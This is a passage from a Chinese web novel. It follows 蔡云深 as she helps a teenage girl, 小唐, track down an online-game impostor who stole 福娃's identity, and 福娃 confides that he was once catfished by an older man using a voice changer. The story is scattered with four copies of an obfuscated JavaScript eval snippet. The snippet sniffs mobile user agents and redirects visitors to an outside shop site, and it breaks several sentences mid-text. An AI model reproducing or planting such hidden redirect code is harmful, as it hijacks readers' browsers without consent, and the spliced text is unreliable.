连恋爱都是在公司里:对方是她隔壁部门的上司,名叫赵宇。 事业爱情虽然普通,但都算顺利。年初时甚至已经跟男朋友商量好,五一放假一起回江安,跟许江汇报结婚打算。 然而,变数却出现。 四月,滨城进入雨季。 蔡云深不喜欢雨天。因为一下雨,她就会变得尤其颓丧。 下雨天好像总有坏事情—— 2018年4月,一个雨天,一具无名男尸被冲上滨城河岸。死者47岁,名为杜保行。 这个杜保行,蔡云深碰巧认识。 单亲妈妈魏莎性格爽朗,是个生活类大V,也是前公司少数真心照顾和关心蔡云深的人。 因为关系好,作为魏莎的助理,蔡云深跟她五年级的女儿也很相熟。魏莎忙的时候,她帮着接送小女孩,带她去小学附近的小卖部买东西。 而杜保行,就是那间小卖部的老板。 在蔡云深的印象里,杜保行是个和善的大叔。每次见她们都笑眯眯的,令她想起远在故乡的许江。 最后一次见杜保行,他还问起江安,说等小学校放假,他也打算跟着抽出时间,去江安玩玩,还让蔡云深给他推荐景点。 然而,属于杜保行的暑假永远不会来了。 从魏莎那得知新闻上的匿名死者竟是杜保行,蔡云深惊愕不已。当天晚上,她做了一个相当诡异的噩梦。 在梦里,也是一个雨夜,忠厚老实的杜保行血肉模糊,倒在泥泞里,一个人骑在他身上,勒死他脖颈…… 蔡云深在冷汗中惊醒。 自那以后,蔡云深便总会做这个噩梦,被困在那个雨夜的凶杀现场,想逃离,却无处可逃。 助理工作的强度原本就大,加上休息不好,她很快出问题: 做事无法集中精力,明明醒着,却也好像在梦游。记忆断片,工作出错…… 这种失控的感觉似曾相识,让她终于记起: 这是病发后又一个第九年。令人头疼的沉睡症,恐怕又要来了。 赵宇对此是知情的,但当她的状况越来越糟,他们之间也无可避免地出现裂缝。因为鸡毛蒜皮频频争吵,矛盾积深,到了初夏,原本打定主意结婚的两个人竟然决定分居,彼此冷静一下。 之后不咸不淡各忙各的。一忙起来,更没时间解心结。 跟恋情相比,当时更令蔡云深头疼的是职业: 在又一次犯下大错后,上司找她谈话,软硬兼施,情面留够,意思是最后再给你一次机会。 她搞砸了机会。 原本就备受煎熬,又在这时,发现赵宇出轨。 …… 蔡云深从地铁站出来,扫了辆单车骑上去。 因为身体状况,助理工作是不能再找了—— 这个岗位最怕的就是掉链子,现在的她,只会误人误己。 离职以来,她靠线上接单营生,帮人写文案、剪视频、做后期…… 但这样终究不够稳定,收入也相对惨淡。 所以即使身怀隐患,还是忍不住翻招聘app。然后就在回江安的路上相中这家公司—— 他们列出的一项条件实在诱人:“疫情时期,工作灵活可商议,接受居家办公。” 可惜,就今天的面试看,别人要找的不是她。 健康爆雷,存款见底。这是哪门子的交好运? 亏她还跟许江立下豪言,说自己会尽快搬走——她哪来的本钱。 蔡云深唉声叹气地骑车过彩桥。还没到小区门口,先远远见那里围满了人。 到停车点一边关锁,一边打量人群。 被围观的中心人物高出大家不少,她一眼就看到—— 竟是来家里吃过晚饭的食客、那个阳光帅气的“福娃”。 走得近了,发现他身旁站着一个短发少女,这么热的天还穿长袖长裤,有点胖乎乎。双肩包上挂着一长串带绒毛玩具的钥匙链,稚气未脱,一看就是中学生。 此刻,女孩子正牢牢抓着福娃的手,生气地质问: “你为什么要骗我?!” “我没骗你!”那个自带闪光的福娃竟被折磨出一副欲哭的神情,“我真不是你要找的那个什么……暗黑!” “你明明就是暗黑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17059644|195002||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 哥哥,为什么不承认!”女孩生气,“觉得丢脸?那你在游戏里跟我结婚的时候怎么不丢脸?” “结、结什么?”福娃吓结巴,“你还没成年吧!”急起来口不择言,“我有女朋友的!” “你骗人!你明明说你单身!” 少女继续拿出福娃跟她网恋的力证,越说越煞有其事。 被里三层外三层的爷爷婆婆们争相议论,福娃羞得满脸通红。突然,他看见熟悉的身影。 “蔡云深!”仿佛看到救星,福娃大喊。 围观群众纷纷转头。 昨晚还毕恭毕敬叫她“云深姐”,今天就喊本名? 果然,下一秒,福娃就在少女面前上演大戏,指着蔡云深说: “你看,那边那个戴墨镜的就是我女朋友!” 蔡云深心中大为震撼。 正犹豫怎么应对,女学生先怒了:“你!你居然脚踏两条船!!!” 这句骂完,众目睽睽之下,少女急怒攻心,两眼翻白倒在人群中。 * 蔡云深从卧室出来,在客厅等待的福娃紧张起身。 “放心,刚喝了糖水,已经缓过来,”她告诉福娃,“就是还没力气,我让她先休息。” 福娃这才松一口气。 几分钟前,眼见女孩突然倒地,福娃手忙脚乱扶起对方,就听她在怀里说: “糖……我要糖……” 蔡云深先反应过来:“是低血糖!” 福娃听后,抱起女孩就往701跑。 现在,在旁端着手、一脸不爽的房间主人于岳望终于能问: “到底怎么回事?人怎么带家里来了?” 蔡云深也想问“怎么回事”,因为此刻,她是真的为那个少女担心。 人心隔肚皮,谁知道开朗清爽的福娃私底下会不会有另一幅面目,在网上诱骗未成年。 注意到她的审视,福娃无比委屈:“一切都是误会!你们听我解释……” 于岳望却先打断他:“等等,”他说着转过来盯蔡云深,“你要不要去遛下狗?” “现在?” “现在。” 你支人也支得太刻意了吧? 蔡云深不爽:“有什么是我不能听的?” “对啊望哥,”福娃生怕被误会,“我没做什么事是别人不能听的!” 于岳望不让步,跟福娃说:“可这事跟蔡云深没关系。” “怎么没关系?”蔡云深夺过话头,“刚才福娃当着众人说我是他女朋友,早把我搅进去了!更何况那个妹妹还小,我怎么可能放心把她单独交给你们两个男人?”说着盯于岳望,“硬要说,你才跟这件事没关系!” “望哥跟这事有关系!那个小妹妹就是来找他的!”不等于岳望出声,福娃先辩白,一边说一边从包里摸出少女问询时递来的名片。 蔡云深探头一看,只见卡面漆黑,字色明黄,设计粗暴: 名片中间写着“鸿运通”三个大字,然后是手机号,和密密麻麻的公司业务: 手机电脑维修,水电管道疏通,门窗监控安装…… 一头雾水:“所以,她找于岳望修手机?” “不,她来是为了这个——” 福娃指名片上业务的最后一行: “各类便民委托”。 11. 委托人 蔡云深不明白:“便民委托?做什么的?” “做……,”福娃很难概括,干脆回忆起最近业务,“帮监督小孩完成暑假作业,”指丁聪聪? “或者有人家闹鼠灾,带着小虎去除鼠,”小虎还真能抓老鼠? “还有人自称被下降头,需要驱鬼……” 越说越不像话。 “不仅是这些,大案子望哥也帮过忙!但是范围仅限天心,还要看望哥接不接。一般他只接熟人介绍的单,只要答应下来,无论事情多难,基本都能解决!”福娃夸到这,终于想到,“你可以把他理解成是我们天心专属的名侦探! 名侦探? 难怪这么讳莫如深。 蔡云深直言:“私家侦探在我们国家可是灰色地带。” “什么灰色啊……”福娃急忙维护,“望哥不是你想的那样!” “那是哪样?”蔡云深得理不饶人,说于岳望,“想过侦探瘾,为什么不老老实实考警察?” 还想说下去,就发现福娃表情变了,一脸的有苦难言。 空气莫名凝固,让蔡云深敏锐地觉得自己好像是踩了雷。幸而被说的人自己不介意,不反驳她,只是叮嘱福娃: “下次不要把委托人带家里。” 福娃回过神:“抱歉,因为她突然晕倒……”又指出,“而且是她跟着我!” 十几分钟前,福娃从外面回天心,刚到河边就觉得有人跟着。 快到小区,对方果然叫住他。 “她把名片给我,说她有便民委托,找鸿运通。还说对方约她在天心茶馆,问我茶馆是不是在附近?我一听就知道她是来找望哥的,所以给她指了路。”福娃说。 “原以为没事了,她却还是跟着我。走到小区门口又突然叫住我,问我是不是什么……暗黑内伤?” 内伤? “还外伤呢。”蔡云深打趣,再结合自己在小区门口见证的大戏,问福娃: “这是你在游戏里的网名?” “谁会起这么中二的网名啊!”福娃炸毛,“我都说认错人了!只是那个小妹妹怎么都不相信,还说我长得跟照片一模一样!她说自己是……什么甜糖?” 蔡云深帮着总结:“所以,这位甜糖小妹妹认为你是她网友?” 福娃:“对啊,可我根本不是!” 难说。 蔡云深:“你确定,自己最近没跟谁在游戏里搞过网恋?” 这一问让福娃明显动摇,答非所问:“她、她那么小,一看就是个未成年!说不定初中都没毕业,我跟她网恋?我禽兽吗!云深姐,你信我,我真的不认识她!我可以发毒誓!” 福娃还要说什么,整个人定住。 蔡云深回头,就见刚才还在休息的女生不知何时来到了客厅,一脸悲愤: “比你小怎么了?你明明说年龄不是问题!而且我才不是初中生,我明年就成年了!”她伤心,又指蔡云深,“这个姐姐也根本就不是你女朋友,对吧?你宁可说谎也要否认我们之间的一切是吗,暗黑哥哥!” 福娃欲哭无泪:“我真不是什么暗黑!” 少女忿恨地拿出手机:“那你告诉我,这是谁?!” 三个成年人齐齐看向屏幕,发现截图里,确实有个备注为“暗黑┽泪の觞”的男人,头像是福娃的自拍照。 福娃立刻否认:“这不是我账号!”说着拿出自己的手机来给小唐对照,“你看,我的昵称微信号都不是这个,头像也不一样!” 女孩却思路打开:“你居然开小号来骗我?” “都说不是我了!” 少女攥紧拳头。 “你今年大二,住在天心,家里开酒楼;身高一八五,喜欢夏天,最爱吃附近茶馆的牛肉面;年初你驾照考过,说很开心,即使没有车;然后两个月前,你去飞燕山……”少女说着眼泪落下来,“你说那里跟落霞峰很像,日落很漂亮,你跟我约好……” 福娃的脸色越听越僵,尤其是听到最后,像生生吞下一只死苍蝇,直接打断小唐: “你从哪知道的这些?!” 少女哭得更厉害:“你还说你不是暗黑!才一个月不见,你就变了!” 福娃又急又气,再次看向蔡云深和于岳望。想求助,却见他俩不约而同端着手。 “不是吧,连你们也怀疑我?!” 蔡云深心中已然有了猜测,但她没有证据,并且不能完全确定福娃这个人是不是真的没问题。 旁边的于岳望却不同,直接站队: “没怀疑你,”给福娃服下定心丸,他又转向少女,跟她解释,“你刚才说的那些信息,只要常年关注福娃的社交平台,像是朋友圈之类的,都能获得。是有人盗用了福娃的资料,捏造出‘暗黑’这个人。” 确实。怎么看都像是杀猪盘的常用手法,蔡云深想。 再看眼前这涉世未深的少女,全身上下穿着名牌,家境应该很是殷实。人也单纯,此刻一脸惊愕,根本不愿相信被骗。 福娃也震惊。但他很快反应过来:“不对啊望哥,她刚才说的有些事是我没在朋友圈发过的,比如喜欢牛肉面那个,还有……”说到这,福娃想到什么,肉眼可见地变低落。 “那范围就进一步缩小了,”蔡云深出声,“看来这个‘暗黑’不仅是用你的信息,还有可能跟你根本就认识。至少,他能通过某些渠道了解你的私事。” 福娃再不说话,眉头死拧。同时被击沉的还有一旁的少女。 “对了,还没请教怎么称呼?”于岳望这时跟少女搭话,“叫你甜糖吗?” 少女居然害羞了:“……其实我姓唐,你就叫我小唐吧。”说完问于岳望,“叔叔,你就是刚才跟我通电话约在茶馆的人?鸿运通?” “是我,”于岳望一边说一边给小唐递面巾纸,“你还想找出这个‘暗黑’吗?” 小唐黯然地接过纸:“暗黑不就在这儿吗?” “在这里的只是信息的主人,并不是暗黑,”于岳望说,“真正的暗黑,是那个盗取信息、顶着别人的身份跟你在游戏里打交道的人。” 小唐攥紧刚擦了涕泪的纸:“还有可能找到吗?我该去哪儿找?” “找我,”于岳望答,“你不是来咨询便民委托吗?当我的委托人,我帮你搞定。” 小唐懵懂:“那要多少钱啊?” “不要钱。” 小唐眼前顿时一亮。但不等她表态,福娃先发话:“望哥,你确定要接这单?她可不是天心的!”业务不在辖区内,而且——“找人最难了,单说我们学校,认识我、能知道我私事的,没有上千也有上百!会花你很多时间,还可能根本找不到!” “找不到就算了,但不开找永远不可能有结果,”于岳望一副无所谓的样子,“而且她不是天心的,你总是吧?这事跟你有关,我当然要接。” 明明是体己话,福娃的表情却变得复杂。在蔡云深看来,他似乎并不因为于岳望说想帮忙而感到开心,反而很头疼。 有蹊跷。 与他相反,小唐完全振作:“我愿意!” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17059645|195002||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 于岳望:“你也别这么快定论,我还没说我的条件。” “什么条件?” “要是最终我帮你处理了这个麻烦,我要你欠我一份人情。” 蔡云深刚还在想这个“便民委托”的合规性,居然不收钱?那么与其说它是“业务”,不如说是于岳望的个人爱好。 这爱好花钱花时间不说,还费精力—— 一个觉得过度助人是病、又特别怕麻烦的人,却乐意做这个,除了“想当侦探想疯了”,没其他理由能解释。 但听于岳望提及“人情”,蔡云深的想法又改变。 天底下最没定数的就是人情,因为它可小可大。 谁知道到时候,他会不会对着委托人狮子大开口? 难怪这人说,没有回报的人情他不做—— 人情在他那,有标价。 “别想那么复杂,”随即就听男人说,“我的所谓‘人情’对委托人而言,都是举手之劳。而且什么灰色手段,我也不会用。能找就找,找不到拉倒。” 蔡云深一吓: 要不是此刻于岳望正看着小唐说话,她真以为这人会读心。 “你也不用急着回答我,先考虑一下。”于岳望说着起身,“我去给你泡杯花茶。” 也是想把空间完全留给小唐,于岳望把卷入事件的福娃一并带走。 客厅就剩下两个女人,蔡云深终于可以问她想问的。 “小唐,你好像不是江安人?”听说话口音像是,“从滨城来的?” 小唐点点头。 “那你在哪得到这张名片?” “在天心酒楼。” 蔡云深对天心的熟悉程度还不及外人:“天心酒楼?”她问,“在这附近?” “对啊。” 来江安前,小唐就做过功课,发现飞燕山附近都叫天心。但在这个范围里,“酒楼”和“茶馆”都是“只此一家”—— 天心酒楼,天心茶馆。 “我原本还觉得‘酒楼’‘茶馆’这种称呼很古老……或者说,很……”半天讲不出词。 蔡云深帮她补充:“很有年代感?” “对,就是年代感!但没想到反而是因为这个确定了地方。”小唐告诉蔡云深,“我先去的天心酒楼,拿着暗黑的照片问了前台姐姐,但她说不知道这个人。又问我找他做什么?我当然没全讲真话……然后她就给了我这张名片,带着我联系了鸿运通。” 这个于岳望,网还撒得挺广? 再一回想,他跟人有约在先,应该已经了解了小唐的大致情况,所以他问福娃“怎么回事”,关心的从来不是“她是谁、来委托什么?”而是“你怎么把委托人带回了家?” “所以,你是因为要跟鸿运通见面,才来我们小区附近?” “也是……也不是,”小唐答,“我原本接下来就要去天心茶馆,就算没有鸿运通,我也会到这边来的。只是没想到这么巧,居然在路上就遇到了想找的人。” “那你现在什么打算?”蔡云深问她,“真要找鸿运通帮忙?” 小唐一点不犹豫:“当然!” “为什么?” “因为我很了解暗黑……不对,应该说,我很了解刚才那个哥哥,”指的是福娃,“我甚至连他在哪所大学读书都知道!”说着还补充,“而且前台那个姐姐也说了,在天心,这种事,找鸿运通,肯定能解决!” 蔡云深在心里感叹tooyoungtoosimple—— “你就没想过,这可能是个局?” 12. 骗感情 见小唐一怔,社会人蔡云深跟她分析: “万一福娃就是你要找的暗黑呢?他假装自己不是,让你委托鸿运通找人,说不要你钱,却又让你还人情。到时候两个人演场戏、套住你敲诈一笔,再分钱……你就没想过这种可能?”蔡云深问她, “你说你知道福娃在哪上大学,去核实过吗?说到底你现在手上所有关于福娃的信息,都是暗黑告诉你的,是不是真的,谁也不知道。成年人很复杂的,不像你这么单纯。” 一串连珠炮轰完,小唐蔫了—— 蔡云深说的没错。暗黑声称酒楼是他家的,然而前台看了福娃的照片却说,不认识这个人。 “可姐姐你也是成年人啊……”小唐嘟囔,“还跟他们两个是朋友。” “我跟他们?”蔡云深直言,“算不上朋友吧,刚认识两天。” 小唐很难相信,根据自己听到的墙角指出纰漏:“那个鸿运通叔叔说这里是他的家,不该带外人来……我刚才休息的那个房间,你又告诉我是你的卧室;你们刚认识两天,就住一起?还有福娃哥哥,刚认识两天,就说你是他女朋友?” 蔡云深解释:“那是因为我是这的租客,搬进这个新家才两天,刚才那个人是我房东,”她态度真诚,“至于福娃,之所以拉我当女朋友,应该只是因为我是女的、年龄合适。记得吗?当时围观的人里连阿姨都少,多数是婆婆,比起她们,我确实是跟他年纪最接近的。” 小唐接受了这通说辞,心防刚有所降低,就听蔡云深问: “你也喜欢泰川,对吧?” 这下少女彻底惊讶:“你怎么……你也是侦探?” “我哪是什么侦探。” 蔡云深说着,示意小唐看她自己背包上的吊串,最上面有一枚卡通钥匙链: 夏日的泳池里有一朵盛放的玫瑰,这是泰川最新专辑的封面。 “《Precious》的纪念周边,要订特别版才能得到。我之所以那么清楚,是因为我也买了。”蔡云深说着朝少女伸手, “那么,我们重新认识一下?我叫蔡云深,也是泰川的粉丝。” 因为山风的缘故关注泰川,也有几年了。万没想到会在这种场合派上用场。 无论如何,她都要把小唐拉到自己这边来,出于本能: 福娃诱骗未成年的可能性还存在,在这个节骨眼上,小唐居然打算求助于岳望,一个陌生男人。如果今天她不在这呢?如果福娃和于岳望都包藏祸心,这个女孩会怎么样? 就像那天在林荫尽处,看到那只满身伤痕、无法自救的猫。单是旁观,她的本能都在叫嚣,逼她必须施以援手,否则就把她推进愧疚的深渊。 于岳望当时的话其实一针见血: 她确实是,有过度助人的病态。 不知道她想法的小唐,此刻因为泰川对她升起了认同和信任,跟她握手: “我叫唐曲,唐朝的唐,歌曲的曲。” 蔡云深点点头,问她: “你是一个人从滨城来的江安?” “是。” “那你现在住哪?” “住我外公外婆那,”看出女人在担心自己的安全,小唐告诉她,“我外公外婆是江安人,我每年暑假都会来探亲的。” 还好不是离家出走。心放宽了些,蔡云深告诉小唐: “我跟你正好相反,我是江安人,但我外公外婆在滨城。” 两个人的心理距离因此又拉近几分,蔡云深才开口: “小唐,其实我希望你答应我一件事。” “什么事?” “不要找鸿运通帮忙,找我。” 蔡云深说着从包里摸出名片夹,把自己已经失效的助理名片递给小唐: “比起身份不明、界限不清的‘侦探’,我来路清楚。如果你需要,我连身份证都能给你看。”她诚恳,“我不收你钱,更不要你欠我什么人情。” 等于岳望端着能抚平心神的花草茶回客厅时,认领粉籍后迅速建立起友谊的两个女人已经双双起身,朝玄关走。 “你们两个去哪?”跟过来的福娃也奇怪。 蔡云深刚想使眼色让少女不要说,根本抵挡不住“暗黑”这张脸的小唐已经全盘托出: “我决定了,让云深姐姐帮我找暗黑!这会儿我们打算去天心茶馆试试那个我一直想尝的牛肉面,姐姐说她请客!” 于岳望看明白了:“不是吧,”他朝蔡云深,“我去泡个茶,你就能把人给我撬了?” 话音还没落地,福娃也跟着倒戈:“那你们把我也带上好不好?”他求蔡云深,“我很确定我能帮上你们!” 小唐想也不想:“好啊!” 蔡云深却不同意:“不行!”她拒绝,“你的嫌疑还没消除呢!” 小唐悻悻,但她深知理在蔡云深那边,也就作罢。 眼见两人就要出门,向来如死水的于岳望竟然急切: “蔡云深,”他过来低声下气,“我们借一步说话?” “不借,”蔡云深把之前从男人那听来的话奉还原主,“这件事跟于岳望又没关系。” 于岳望碰一鼻子灰,赶紧换种方式留人:“许叔叔今晚做干锅鸡,这不是你点的菜?现在你却说要去外面吃?” 蔡云深听到这,果然停止动作。 “小唐,要不我们明天再去茶馆?”奋力推荐,“我爸的干锅鸡那可真是一绝!” 得到应允后,蔡云深带少女回自己卧室。于岳望和福娃连忙跟上,却在门口被她拦下来: “不好意思,还请两位男士留步。” 被拒绝的两人都露出复杂的神情,想说什么,却又还是双双闭嘴,任大门关上。 * 吃过晚餐,蔡云深打算送送小唐。福娃无论如何都要跟来。 蔡云深察觉出什么,松了口,和他一起在小区门口把小唐送上蔡云深帮叫的网约车。 “云深姐……那个暗黑,真的不是我。”送走了小唐,福娃终于朝她开口,“我可以跟你证明……并且,我有怀疑的对象。” 早看出他心事重重,吃个晚饭还借酒浇愁,喝了不少。又或许是有什么话,不喝酒说不出口。 蔡云深放缓脚步:“你怀疑谁?” 福娃醉醺醺:“怀疑之前骗了我感情的人。” 骗感情? 又想起回天心第一晚。席间有人提起福娃的女朋友,当时他的脸色就很难看。 说话间,路过小卖部。蔡云深叫停急需倾诉的福娃—— “要不,你跟我聊聊?” * 从小卖部出来没走多久,就到一处长满花藤的长廊。这里搭了个顶,美其名曰“明月亭”。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17059646|195002||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 看上去是个乘凉的好地方,却没有人。 “云深姐,在你看来,像我这样的,真会有女孩子喜欢吗?” 刚和福娃在亭中坐下,明显醉了的年轻男人一边撕蔡云深请他吃的雪糕,一边颓丧地问。 本想听小年轻是怎么上了感情的当,却在第一句就等来这么一问。 蔡云深呛一口雪碧。 再一看,此刻,年轻男人正用他那双生得十分俊逸的大眼睛苦恼地看着她。 这是什么新类型的凡尔赛? 白眼翻上天,还来不及吐槽,先听男人继续喃喃: “难道,我真是天煞孤星?” “你怎么就是天煞孤星了?” 福娃不开心:“小时候归凤婆婆帮我算的。” 仪表厂知名人士归凤婆婆有个闲散爱好:给人看八字。 小时候,大人们都说归凤婆婆看得准。但千禧年一过,归凤婆婆就突然收手,任大家怎么求,都不再碰算命这回事。 而全小区最后一个得到归凤婆婆预言的人,就是时年两岁的福娃。 “今年我不是恋爱了吗?被我妈发现了,说看来归凤婆婆说得也不是那么准。”福娃告诉蔡云深,“就是那时我才第一次听她讲,原来当年算出来,我是天煞孤星。” 归凤婆婆说,福娃有福星相罩,一生好运时常相伴;代价是情路曲折,天煞孤星,就连普通人最平凡的恋爱都无福享有—— “我听了终于明白,为什么从小开始我就没有异性缘……长这么大,一次表白都没收到过,追求喜欢的人也全失败!不仅如此,我们学校甚至有怪谈,说什么只要喜欢上我,就会变得特别倒霉……” “等等,”蔡云深指出,“你说自己没有异性缘,但学校里居然能出关于你的怪谈?这不是自相矛盾吗?至少得有不少人喜欢你、然后尝到了不太好的后果,才能总结出所谓的怪谈吧?” 福娃愣了愣,说:“但我确实没感受到啊,又没有人来跟我表白!” “世界上没收过表白的人可多了去了,”蔡云深不屑,“再说了,没人表白,你这个‘天煞孤星’是怎么交上女朋友的?” 提到“女朋友”,福娃的神情瞬间阴沉。沉默良久,终于借着醉意开口: “云深姐……你说保密是你工作的基本操守,我看你确实做得很好,口风很严……你还很善良,愿意无条件帮助小唐,一个跟你今天刚见到的人……” 蔡云深不明白他要说什么:“所以呢?” “所以,接下来的事,能不能请你也帮帮我,并且保密?” 到底是什么事让他这么难以启口? 蔡云深也不多问,想起福娃跟她赌咒说自己不认识小唐——“我可以发毒誓!” 直接举右手,用他最听得懂的方式: “苍天在上,我,蔡云深,在此立下毒誓:要是本人把今晚从罗星灿这里听到的事,告诉给别人,那我不得好……” “死”字还没出口,福娃赶紧打断她: “停!呸呸呸,快别说了,我相信你!”喊完又嘀咕,“原来你记得我的本名啊……” “不然呢?我又不是老年痴呆。” 蔡云深说完,看看周围,确定四下无人,靠近福娃低声—— “誓也发了,也没别人。现在,是时候讲出你的故事?” 13. 女朋友 原来,小唐说的那款手游,福娃竟然也玩。去年冬天开服入坑,没多久认识了一个女玩家。 对方跟他同岁,小他几个月,平时叫他哥哥。声音好听说话嗲,还总是有意无意跟他暧昧,没多久就在游戏里结成“侠侣”——就是小唐所谓的“结婚”。 不仅如此,还加了对方联系方式,报上真名,连照片都交换…… 最终,福娃跟这个名叫“骆霞”的女孩互通心意,开始了异地恋。 顺利交到女朋友,这是人生头一回。对骆霞,福娃可谓百依百顺: 在游戏里刷礼物,在现实里转红包,每天要么一起打游戏,要么聊天到深夜。 游戏里有一处任务点叫“落霞峰”,因为跟女朋友名字谐音,两人常去那幽会。三月初,福娃登上天心附近的飞燕山,见日落晚霞,有感而发,还给对方录了一大段深情告白。骆霞被他打动,答应了他的奔现邀请,说好等五一放假,就去骆霞所在的城市见面。 然而真到了时间,骆霞又把时间推后。如此季节转换,到了暑假,跟女友交往已经半年,福娃还没见过真人。 放假了有大把自由时间,福娃于是又说了几次想去骆霞的城市,骆霞还是老样子,总能找出这样那样的理由推脱。如此三番五次,到上个月,两个人大吵一架,开始冷战。 那段时间,福娃备受煎熬。第一次跟恋人争吵,他食不知味、夜不能寐,甚至为此掉眼泪,还猜骆霞是不是早就变心,只是找借口离开他。 之后还是他先服软。然而给骆霞留言、打语音,对方都不回复, 直到一星期后。 那一天,福娃照旧给骆霞发道歉消息。那边却突然打来视频。 福娃又惊又喜,因为这还是女友第一次愿意跟他连视频,还是对方主动。 本以为这段关系终于要雨后天晴,却在接起通话后彻底懵住—— 对面出现的是个男人,穿警察制服。 接下来,民警的话更令他崩溃: 民警先报出他网名,问他是不是本人?跟骆霞在游戏里是不是伴侣关系?他都一一回答。核实后民警说,他只是骆霞用不同账号“交往”的三个男友中的一个,也是其中被骗金额最少的。 之所以东窗事发,是因为另有冤大头,跟这个骆霞在一起三年,为她花费十万,还是换不到一次见面。之后是同样的套路: 两个人为此吵架,骆霞提分手。男人没法割舍这段情,报了警想找人,却撞破骗局。 眼见福娃呆愣不出声,民警还怕他教训不够深刻: “要不,见见你‘女朋友’?反正他人在。”…… “然后,我就远远地看见一位……大爷,坐那。”福娃痛苦万分。 大爷? 惊悚之后,蔡云深深表同情:“可你说他……声音好听……说话还嗲……” “是变声器……”福娃字字泣血,“所以云深姐,你能明白吗,我对‘哥哥’这两个字有多么严重的PTSD?!现在无论谁这么叫我,我都觉得魔音贯耳!但小唐却叫暗黑‘哥哥’……我听了就想吐……” 难怪福娃面对小唐,会时不时呈现出扭曲的神情。 福娃酒劲上来,泪水在眼眶打转:“你是不是也觉得我很傻?”他痛心,“我都不知道我当时中的什么邪!学新闻的,平时还觉得自己挺灵光,居然这么容易让人骗!脑子被门夹了,还在飞燕山上录视频,说什么‘在我眼里,你就跟落霞一样美?’我真想掐死我自己!!!” 越说越惨,最后归于迷信:“都怪我缺爱,我人笨,我是天煞孤星……喜欢的女人不是怪胎就是坏人……不对,这次,对方居然连女人都不是……” 失恋外加受骗,那滋味有多折磨,刚被男友劈腿的蔡云深很理解。但福娃比她还可怜—— 他还被对方骗了钱。 而且看他这样,这事情也没跟其他人倾诉过。要不是小唐出现,让他担心查暗黑可能带出骆霞,他大概会把这个秘密带进棺材里。 看着在酒醉中哭得满脸涕泪的男人,蔡云深终于不忍,没法放着他不管: “要不,我也给你讲个故事?但是你也必须答应我,要保密。” 自古以来,安慰人最好的办法,是比惨。 果然,福娃止住哭,鼻涕眼泪擦了满手背,看向她。 蔡云深猛灌一口雪碧。 谁还没在二十出头的年纪,谈过一场不堪回首的初恋呀?而且相比之下,她比福娃还可悲: 五年前,22岁的她被人生交到的第一个男朋友扯着头发,把头砸向地板。都那样了,她还觉得自己本来就该在尘埃里。 现在回看,她一点也不理解当时的自己。22岁的蔡云深在她看来很陌生,就像身体装着别人的灵魂: 男人pua她,对她施暴,跟她分手……她却觉得错的是她,哭着求他留下,别抛弃她…… 甚至为此轻生。 人没死,□□上的伤也很快。更长久的折磨来自于精神,来自于突然醒悟: 当她昏迷整整一月后醒来,看到床边蹲守的父亲; 当她走出这段感情回看,觉得一切付出毫无意义; 当她想起蔡美仙,因此无比愧疚的时候…… 才是真正的煎熬。 所以,五年后的现在。结束了又一段感情,却不知该怎么告诉许江: 因为不想他再次为她担心。 可是,她早不是当年的蔡云深。 “我做得最傻的事,不是爱错了人;而是明知如此,还用他的过错来惩罚我自己,让真正爱我、疼惜我的亲人为我担心,为我难过。” 最后,蔡云深总结。 福娃听完,竟然哭着说:“对不起!” 蔡云深无语:“你道什么歉?” 这人边哭边答:“因为我也觉得,自己很对不起妈妈……” 这就对了。 蔡云深试着跟哭泣的男人开玩笑: “对不起有用的话,要警察来干嘛?” 跟她不是同时代的福娃显然没看过《流星花园》,“说得对!”他抹眼泪,“坏人就应该交给警察!” 终于能平静,脸庞尽湿的男人嗡声问她:“所以你觉得呢?用我信息去冒充暗黑的是不是就是骆霞那个恶心的老头子?”说着细数,“同一款游戏,同样是消失一个月,就连我认为飞燕山跟落霞峰像,小唐也知道!这不是拿我当活素材吗?!” 蔡云深在脑中理了理:“不确定。” “这还不确定?” “因为找不到动机。” 晚餐前,蔡云深单独问了小唐两件她最关心的事: 首先,暗黑作为一个成年人,有没有跟她发跟性相关的东西?小唐答没有; 其次就是,暗黑有没有骗她钱财?她也答没有。 小唐和暗黑是今年寒假认识,之后小唐开学,回学校后不能玩手机,她也没再登录。 到了暑假,小唐再次上线,发现很多原本一起玩的好友都删除了她—— 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 